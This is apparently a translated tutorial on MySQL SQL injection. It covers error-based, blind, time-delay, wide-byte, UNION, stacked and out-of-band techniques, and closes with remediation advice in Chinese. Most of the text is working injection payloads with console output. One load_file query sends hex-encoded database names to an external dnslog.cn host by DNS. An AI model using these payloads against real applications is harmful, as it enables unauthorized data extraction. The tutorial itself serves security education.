Web penetration testing knowledge combing-injection class-1-SQL injection-Mysql

Penetration testing knowledge combing-injection class-1-SQL injection-Mysql

Insert picture description here

1. SQL injection

1.1 Introduction to vulnerabilities

By inserting SQL commands into the web form submission, entering the domain name or the query string of the page request, the server can finally be deceived to execute malicious SQL commands. According to the method of constructing and submitting SQL statements, SQL injection is divided into GET injection, POST injection and Cookie injection. According to the execution effect, SQL injection can be divided into error injection, Boolean blind injection, wide byte injection, time blind injection, secondary injection, joint injection, heap query injection, etc. According to the method of data transmission, it can be divided into classic SQL injection (inference), inband injection (inband), and out-of-band injection (out-of-band).

1.2 Vulnerability hazards

The main harm of SQL injection vulnerability is that an attacker can use the vulnerability to steal any content in the database. In some scenarios, the attacker may gain full control of the database server.

1.3 Vulnerability details

1.3.1 MySQL injection

1.3.1.1 Error injection

Error injection can be divided into three categories: repeated errors, overflow errors, and data format errors according to the type of error. The following are the commonly used functions in error injection:

1. floor()

floor(): Returns the largest integer less than or equal to the value.
floor(rand(0) * 2): returns an integer between 0 and 2.
group by: Mainly used to group data.
count(*): Returns the number of rows selected in the given selection.
Principle: Use floor(rand(0)*2) to generate a fixed number sequence 011011 during multiple calculations, combined with the particularity of rand() that can be calculated multiple times and the two calculations when the virtual table of group by is inserted into the group ( One time when querying, one time when inserting), which eventually results in inserting duplicate keys and reporting errors.

mysql> select count(*),concat(floor(rand(0)*2),'@',(select version()))x from information_schema.tables group by x;
1062 - Duplicate entry '[email protected]7' for key 'group_key'
2. extractvalue()

extractvalue(): A function to query XML documents.
Syntax: extractvalue (target xml document, xml path)
Principle: By constructing the wrong XML path, a parsing error occurs ( the content at the beginning of the ~ is not the grammar in xml format), which causes the database to report an error.

mysql> select extractvalue('anything',concat('~',(select version())));
1105 - XPATH syntax error: '~5.5.47'

Note: The maximum length of the query string that extractvalue() and updatexml() can query is 32. If you want the query result to exceed 32, you need to use the substring() function to intercept.

mysql> select extractvalue('xxx',concat('#',substring(hex((select database())),1,64)));
1105 - XPATH syntax error: '#7365637572697479'
3. updatexml()

updatexml(): A function to update xml documents.
Syntax: updatexml (target xml document, xml path, updated content).
Principle: Parsing error is caused by constructing wrong XML path (the content at the beginning of ~ is not the grammar of xml format), which causes the database to report an error.

mysql> select updatexml('xxx',concat('~',(select user())),'xxx');
1105 - XPATH syntax error: '[email protected]'
4. geometrycollection()

geometrygollection(): is a geometric object composed of one or more geometric objects of any type (any geometric collection, line segment, circle, etc.). All elements in GeometryCollection must have the same spatial reference system (that is, the same coordinate system).
Syntax: GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))
POINT(x,y): This is a coordinate function, which is equivalent to a point on the X,Y coordinate graph.
LINESTRING(xy,xy): Used to describe a straight line, a straight line formed by two points.
Principle: Because MYSQL cannot draw graphics with such a string, an error is reported.
Range: 5.5<mysql version<5.6

mysql> select geometrycollection((select * from(select * from (select version())a)b));
1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.47' AS `version()` from dual) `b`)' value found during parsing
5. multipoint()

MultiPoint is a collection of geometric objects (a collection of points) composed of Point elements. These points are not connected or ordered in any way.
Principle: The parameter should be a collection of spatial geometric objects, and an error is reported due to the inability to parse the collection (personal understanding).

mysql> select multipoint((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select '[email protected]' AS `user()` from dual) `b`)' value found during parsing
6. polygon()

Polygon is a plane representing a polygonal geometric object. It is defined by a single external boundary and zero or more internal boundaries, where each internal boundary is defined as 1 hole in the Polygon. (It can be understood as a flat graphic with 0 or more polygons in the middle)
Principle: It should be the same as the previous 4 and 5, both of which cause errors due to inability to resolve (personal understanding).

mysql> select polygon((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select '[email protected]ost' AS `user()` from dual) `b`)' value found during parsing
7. multipolygon()

Multipolygon is a collection class, which is a combination of multiple Point, LineString or Polygon.
Principle: It should be due to the inability to resolve the error (personal understanding).

mysql> select multipolygon((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select '[email protected]' AS `user()` from dual) `b`)' value found during parsing
8. linestring()

LineString is a Curve with linear interpolation between points.
Principle: It should be due to the inability to resolve the error (personal understanding).

mysql> select linestring((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select '[email protected]' AS `user()` from dual) `b`)' value found during parsing
9. multilinestring()

MultiLineString is a collection of MultiCurve geometric objects composed of LineString elements.
Principle: It should be due to the inability to resolve the error (personal understanding).

mysql> select multilinestring((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select '[email protected]' AS `user()` from dual) `b`)' value found during parsing
10. exp()

The EXP() function is used to raise E to the power of a specified number. Here E(2.718281 …) is the base of natural logarithm.
Parameters: This method accepts a parameter mentioned above and described below in the grammar: X is a specified number that will be used as a power of E.
Return value: It returns E raised to the power of the given number X.
Range: 5.5<mysql version<5.6
Principle: When the parameter of exp() is greater than 710, DOUBLE overflow error will be reported. Use the inversion and subquery to construct a value greater than 710 for error injection.

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
mysql> select exp(709);
+-----------------------+
| exp(709)              |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select  exp(~(select * from(select user())a));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '[email protected]' from dual)))'
11. NAME_CONST()

NAME_CONST(): returns the given value. When used to generate a result set column, NAME_CONST() makes the column have the given name. The parameters are constants. This function is for internal use only. The server uses it when writing statements from a stored program that contains references to local program variables.
Restriction: The content of the query must be a fixed value (except for the version() query, the other failed attempts 😭).
Principle: Manufacturing columns through NAME_CONST, using Mysql to repeat column names will cause an error.
Usage: NAME_CONST(name, value)

mysql> select NAME_CONST('test',666);
+------+
| test |
+------+
|  666 |
+------+
1 row in set

mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x;
1060 - Duplicate column name '5.5.47'

12. JOIN()

JOIN(): join operation, join the rows in the two tables according to the given conditions to form a new table.
Restriction: The table name needs to be known.
Principle: Manufacturing columns through NAME_CONST, JOIN joins duplicate columns to form a table with duplicate columns, subquery executes the query version information function, and finally uses the Mysql parent query column name to cause an error.

mysql> select*from(select NAME_CONST(version(),0))a join(select NAME_CONST(version(),0))b;
+--------+--------+
| 5.5.47 | 5.5.47 |
+--------+--------+
|      0 |      0 |
+--------+--------+
1 row in set

mysql> select*from (select*from(select NAME_CONST(version(),0))a join(select NAME_CONST(version(),0))b)c;
1060 - Duplicate column name '5.5.47'
mysql> select exists(select*from (select*from(select NAME_CONST(version(),0))a join(select NAME_CONST(version(),0))b)c);
1060 - Duplicate column name '5.5.47'

1.3.1.2 Boolean blinds

If there is no error display during the SQL injection process, when the query statement is true and false, the returned package has different characteristics (returned package status or length), and Boolean judgments need to be made based on these characteristics.

length(): returns the length of the string, can return the length of the column name indicated by the database
substr(): intercepts the string. subster(string, start, length) string, from the first bit, what is the length of the interception
ascii(): return ascil code

1. Query data length
mysql> select database();
+------------+
| database() |
+------------+
| runoob_db  |
+------------+
1 row in set

mysql> select * from sites where id="1" and length (database())>10;
Empty set

mysql> select * from sites where id="1" and length (database())=9;
+----+--------+------------------------+
| id | name   | url                    |
+----+--------+------------------------+
|  1 | RUNOOB | https://www.runoob.com |
+----+--------+------------------------+
1 row in set
2. Judgment of intercepted characters
mysql> select ascii("r");
+------------+
| ascii("r") |
+------------+
|        114 |
+------------+
1 row in set

mysql> select * from sites where id="1" and ascii(substr(database(),1,1))=123;
Empty set

mysql> select * from sites where id="1" and ascii(substr(database(),1,1))=114;
+----+--------+------------------------+
| id | name   | url                    |
+----+--------+------------------------+
|  1 | RUNOOB | https://www.runoob.com |
+----+--------+------------------------+
1 row in set

You can also use the mid() function and ord() function.

mid(): This function is used to get a part of a string. This function is supported by MySQL, but not by MS SQL Server and Oracle. In SQL Server, Oracle database, we can use SQL SUBSTRING function or SQL SUBSTR function as an alternative.
Usage: MID(column_name,start[,length])

ord(): The ORD() function returns the ASCII value of the first character of the string.
Usage: ORD(string)

mysql> select * from sites where id="1" and ord(mid(database(),1,1))=14;
Empty set

mysql> select * from sites where id="1" and ord(mid(database(),1,1))=114;
+----+--------+------------------------+
| id | name   | url                    |
+----+--------+------------------------+
|  1 | RUNOOB | https://www.runoob.com |
+----+--------+------------------------+
1 row in set

Generally use dichotomy for judgment, which can be combined with if statements.

mysql> select * from sites where id="1" and if((ord(mid(database(),1,1))>114),1,0);
Empty set

mysql> select * from sites where id="1" and if((ord(mid(database(),1,1))=114),1,0);
+----+--------+------------------------+
| id | name   | url                    |
+----+--------+------------------------+
|  1 | RUNOOB | https://www.runoob.com |
+----+--------+------------------------+
1 row in set

1.3.1.3 Time Blind

Time blind injection is to add delay judgment on the basis of Boolean injection, which is used for testing without any return characteristics.

1. SLEEP()

sleep(n): Suspend the program for a period of time, n is n seconds.
When the query is true in the following, the delay is 3 seconds.

mysql> select * from sites where id="1" and if((ord(mid(database(),1,1))=114),1,0);
+----+--------+------------------------+
| id | name   | url                    |
+----+--------+------------------------+
|  1 | RUNOOB | https://www.runoob.com |
+----+--------+------------------------+
1 row in set

mysql> select * from sites where id="1" and if((ord(mid(database(),1,1))=114),sleep(3),0);
Empty set
Insert picture description here
2. BENCHMARK()

BENCHMARK(): Repeat execution of an expression.
Usage: benchmark(count,expr), is the
principle of repeatedly executing expr expression count times : increase the number of counts to cause delay.

mysql> select * from sites where id="1" and if((ord(mid(database(),1,1))=114),benchmark(5000000,md5("1111111")),0);
Empty set
3. Cartesian product (superposition of all permutations)

Principle: Data table connection is a time-consuming operation, using this method to connect multiple tables to achieve a time-consuming operation.
Note: This method can be used when 1/2 of the delay function is filtered.
In the following query operations on the same table (different tables are also possible), the time consumed for each additional table increases exponentially. The last query is count(*) in the set composed of the combination of each element in A, B, C, and D, which takes 11 seconds.

mysql> select count(*) from information_schema.tables A;
+----------+
| count(*) |
+----------+
|      255 |
+----------+
1 row in set (0.00 sec)

mysql> select count(*) from information_schema.tables A,information_schema.tables B;
+----------+
| count(*) |
+----------+
|    65025 |
+----------+
1 row in set (0.01 sec)

mysql> select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C;
+----------+
| count(*) |
+----------+
| 16581375 |
+----------+
1 row in set (0.27 sec)

mysql> select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C,information_schema.tables D;
+------------+
| count(*)   |
+------------+
| 4228250625 |
+------------+
1 row in set (1 min 11.56 sec)
4. get_lock()

get_lock(key,timeout): lock the key, if the lock fails, delay timeout seconds.
release_lock(key): Release the lock.
Principle: In a MySQL session, lock a key first, then create a new session and then lock it, to achieve a successful delay, just replace the sleep() function in the above example.
MYSQL session 1:

mysql> select get_lock('name',5);
+--------------------+
| get_lock('name',5) |
+--------------------+
|                  1 |
+--------------------+
1 row in set (0.00 sec)

MYSQL Session 2: At this time, the lock fails and there is a delay of 5 seconds.

mysql> select get_lock('name',5);
+--------------------+
| get_lock('name',5) |
+--------------------+
|                  0 |
+--------------------+
1 row in set (5.00 sec)

mysql> select * from sites;
+----+--------+------------------------+
| id | name   | url                    |
+----+--------+------------------------+
|  1 | RUNOOB | https://www.runoob.com |
|  2 | Github | https://www.Github.com |
|  5 | Github | https://www.Github.com |
+----+--------+------------------------+
3 rows in set (0.00 sec)

mysql> select * from sites where id='1' and if((ord(mid(database(),1,1))=114),get_lock('name',5),0);
Empty set (5.00 sec)
5. Regular expressions

RPAD(): The function fills a character string with another character string to a certain length.
Usage: SELECT RPAD("SQL Tutorial", 20, "ABC"); Fill SQLTutorial with ABC to a length of 20.

mysql> SELECT RPAD("SQL Tutorial", 20, "ABC");
+---------------------------------+
| RPAD("SQL Tutorial", 20, "ABC") |
+---------------------------------+
| SQL TutorialABCABCAB            |
+---------------------------------+
1 row in set (0.00 sec)

REPEAT(str,times): Copy the string times times.
Principle: Construct a long string through rpad or repeat, and add a pattern with a large amount of calculation. The length of the delay can be controlled by the parameter of repeat or pattern.
After my own testing, the complexity of the pattern has a greater impact than the amount of repetition. The results are as follows:

mysql> select concat(rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",999999991111111111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252")) REGEXP concat(repeat('(abcde.*)+',100000));
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| concat(rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999," |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|                                                                                                                                                                                                                                                             NULL |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set, 1 warning (0.53 sec)

mysql> select concat(rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",999999991111111111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252"),rpad("[email protected]#5252",99999999111,"[email protected]#5252")) REGEXP concat(repeat('((([a-zA-Z0-9][-a-zA-Z0-9]{0,62}((\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})|(:[0-9]{1,5}))+\.?)))+',10000));
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| concat(rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999,"[email protected]#5252"),rpad("[email protected]#5252",99999999," |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|                                                                                                                                                                                                                                                             NULL |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set, 1 warning (8.64 sec)

The pattern is: abcde.*, repeated 100,000 times, and the time is 0.52. The
pattern is: (([a-zA-Z0-9][-a-zA-Z0-9]{0,62}((\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})|(:[0-9]{1,5}))+\.?))10,000 repeated times (the number of repetitions is 10 times less than the above), and the time is 8.64 seconds.

Insert picture description here

1.3.1.4 Wide byte injection

Wide byte injection can also be called single quotation mark escape, which refers to the use of different front and back data encodings to generate single quotation mark separation during data query, and the query code is successfully injected.

Principle: In the Chinese operating system, the byte with ASCII greater than 128 is regarded as the first byte of a Chinese character. In UTF encoding, 3 bytes represent a Chinese character. In GBK encoding, 2 bytes represent a Chinese character. In the process of importing the GBK encoded database, after the single quotation mark is escaped (%CF'), and the ASCII code of the first byte is greater than 128, %CF\ is regarded as a Chinese character, and the single quotation mark escapes successfully, causing injection.
Process:
%CF\ ·········URL encoding········>%CF%5C ·········GBK encoding·········> Mite
condition:

  1. There are escape functions that can escape single quotes, such as addslashes(), mysql_real_escape_string(), mysql_escape_string(), magic_quote_gpc.
  2. The database uses the GBK character set.

The payload can be constructed as follows (note the use of comment characters to eliminate another single quotation mark):

%CF%5C' and if((ord(mid(database(),1,1))=114),sleep(3),0)--+
mysql> select * from sites where id='1蟎' and if((ord(mid(database(),1,1))=114),sleep(3),0)-- ';
    -> ;
Empty set, 1 warning (3.00 sec)

1.3.1.5 Secondary injection

Secondary injection refers to the injection caused by the malicious data constructed by the attacker and stored in the database, and the malicious data is read and entered into the SQL query statement. The defender may escape the special characters when the user enters the malicious data, but the processed data is restored and stored in the database when the malicious data is inserted into the database. When the Web program calls the stored in the database When malicious data is executed and SQL query is executed, SQL secondary injection occurs.

• The first step: inserting malicious data when inserting data into the database, the special characters are escaped, and the original data is retained when writing to the database.

• Step 2: Referencing malicious data. The data stored in the database by the developer by default is safe. When querying, the malicious data is directly retrieved from the database without further verification.

1.3.1.6 Joint injection

Joint injection is UNION injection, which can be regarded as a general injection type. In this case, there is an echo on the front end. Under normal circumstances, first use order by to determine the number of echoed columns, determine the echoed column, and then insert the payload at the echoed column.

UNION(): The UNION operator is used to merge the result sets of two or more SELETC statements.
Conditions: The SELECT statement within the UNION must have the same number of columns, and the columns must also have similar data types. At the same time, the order of the columns in each and each SELECT statement must be the same.

In this column, first use order by to determine the number of echoed columns into 3 columns, namely id, name, and url, and then query the corresponding information in the position of the column number.

mysql> select * from sites where id=1 order by 4;
1054 - Unknown column '4' in 'order clause'
mysql> select * from sites where id=1 order by 3;
+----+--------+------------------------+
| id | name   | url                    |
+----+--------+------------------------+
|  1 | RUNOOB | https://www.runoob.com |
+----+--------+------------------------+
1 row in set

mysql> select * from sites where id=1 union select database(),user(),version() from sites;
+-----------+----------------+------------------------+
| id        | name           | url                    |
+-----------+----------------+------------------------+
| 1         | RUNOOB         | https://www.runoob.com |
| runoob_db | [email protected] | 5.5.47                 |
+-----------+----------------+------------------------+
2 rows in set

1.3.1.7 Stack injection

In SQL, the semicolon (;) is used to indicate the end of a sql statement. If the next statement is constructed after the end of a sql statement and executed successfully, there is stack injection.

As shown below:

mysql> select * from sites where id='1';select user();
+----+--------+------------------------+
| id | name   | url                    |
+----+--------+------------------------+
|  1 | RUNOOB | https://www.runoob.com |
+----+--------+------------------------+
1 row in set (0.00 sec)

+----------------+
| user()         |
+----------------+
| [email protected] |
+----------------+
1 row in set (0.00 sec)

1.3.1.8 OOB injection

Out-of-band technology (Out-Of-Band) allows attackers to use another method to confirm and exploit vulnerabilities that are not directly echoed. In this type of vulnerability, the attacker cannot directly see the output of the vulnerability in the response packet through a malicious request. Out-of-band channel technology usually requires vulnerable entities to generate out-of-band TCP/UDP/ICMP requests, and then the attacker can extract data through this request.

UNC: UNC is a naming convention, mainly used to specify and map network drives on Microsoft Windows. The UNC naming convention is most commonly used to access file servers or printers in a local area network. This is the way we commonly use network sharing files every day. The UNC path is a network path
format similar to \softer : \servername\sharename, where servername is the server name and sharename is the name of the shared resource.

The UNC name of a directory or file can include the directory path
format under the share name : \servername\sharename\directory\filename

condition:

  • There needs to be a subroutine available in the DBMS that can directly or indirectly trigger the DNS resolution process, that is, use UNC
  • Linux does not have a UNC path, so when you are in a Linux system, you cannot use this method to get data
  • secure_file_priv is not NULL , that is, you can use the load_file() function to load the file.

If the value of query MySQL secure_file_priv is not set, OOB injection can be performed.

mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set

Take DNSlog as an example this time:

mysql> select database();
+------------+
| database() |
+------------+
| runoob_db  |
+------------+
1 row in set

mysql> select load_file(concat('\\\\',(select hex(database())),'.m5jaid.dnslog.cn\\abc'));
+-----------------------------------------------------------------------------+
| load_file(concat('\\\\',(select hex(database())),'.m5jaid.dnslog.cn\\abc')) |
+-----------------------------------------------------------------------------+
| NULL                                                                        |
+-----------------------------------------------------------------------------+
1 row in set

mysql> select unhex('72756E6F6F625F6462');
+-----------------------------+
| unhex('72756E6F6F625F6462') |
+-----------------------------+
| runoob_db                   |
+-----------------------------+
1 row in set

Check DNSlog and get data successfully.

Insert picture description here


Another way is to use CONV to perform hexadecimal conversion to hide the data.

CONV(): Convert a number from one digital base system to another digital base system.
Restrictions: Mysql version <5.7.5
Principle: Use CONV to hide the query data.

mysql> select conv(hex(substr(user(),1, 8)), 16, 10);
+----------------------------------------+
| conv(hex(substr(user(),1, 8)), 16, 10) |
+----------------------------------------+
| 8245931987826405219                    |
+----------------------------------------+
1 row in set

mysql> select conv(hex(substr(user(),9, 16)), 16, 10);
+-----------------------------------------+
| conv(hex(substr(user(),9, 16)), 16, 10) |
+-----------------------------------------+
| 107118236496756                         |
+-----------------------------------------+
1 row in set

mysql> select unhex(conv(8245931987826405219,10,16));
+----------------------------------------+
| unhex(conv(8245931987826405219,10,16)) |
+----------------------------------------+
| [email protected]                               |
+----------------------------------------+
1 row in set

mysql> select unhex(conv(107118236496756,10,16));
+------------------------------------+
| unhex(conv(107118236496756,10,16)) |
+------------------------------------+
| alhost                             |
+------------------------------------+
1 row in set

1.4 Bug fixes

    1.修改Web应用服务的软件部分,增加对客户端提交数据的合法性验证,至少严格过滤SQL语句中的关键字,并且所有验证都应该在服务器端实现,以防客户端控制被绕过。验证GET、POST、COOKIE等方法中URL后面跟的参数,需过滤的关键字有'
    单引号、""双引号、\'反斜杠单引号、\""反斜杠双引号、)括号、;分号、--双减号、+加号。以及SQL关键字,注意对于关键字要对大小写都识别。

    2.建议降低Web应用访问使用较低权限的用户访问数据库。不要使用数据库管理员等高权限的用户访问数据库。
    3.使用安全的框架如Qframe或使用通用防注入脚本。 
    4.尽量使用预编译的方式执行SQL。 
    5.对于将进入SQL语句拼接前的参数,数字型参数对数字进行数字型检测,并检测范围,字符型参数对参数进行转义。 
    6.为了防止二次注入,可以在二次拼接SQL语句前,对取出的参数进行转义。

Reference linking :

  • https://www.cnblogs.com/sfriend/p/11365999.html
  • https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
  • https://blog.csdn.net/weixin_39851457/article/details/113678961
  • https://www.mysqlzh.com/doc/174/136.html
  • https://blog.csdn.net/weixin_46706771/article/details/112771788
  • https://blog.csdn.net/weixin_46706771/article/details/112768863
  • https://www.cnblogs.com/forforever/p/13019703.html
  • https://www.cnblogs.com/liupp123/articles/8023861.html
  • https://www.cnblogs.com/yangmingxianshen/p/7999428.html
  • https://blog.csdn.net/weixin_45146120/article/details/100608575
  • https://blog.csdn.net/weixin_44316992/article/details/110818185
  • http://t.zoukankan.com/renhaoblog-p-12912452.html
  • https://blog.csdn.net/u014029795/article/details/105214129
  • https://blog.csdn.net/fdipzone/article/details/78634992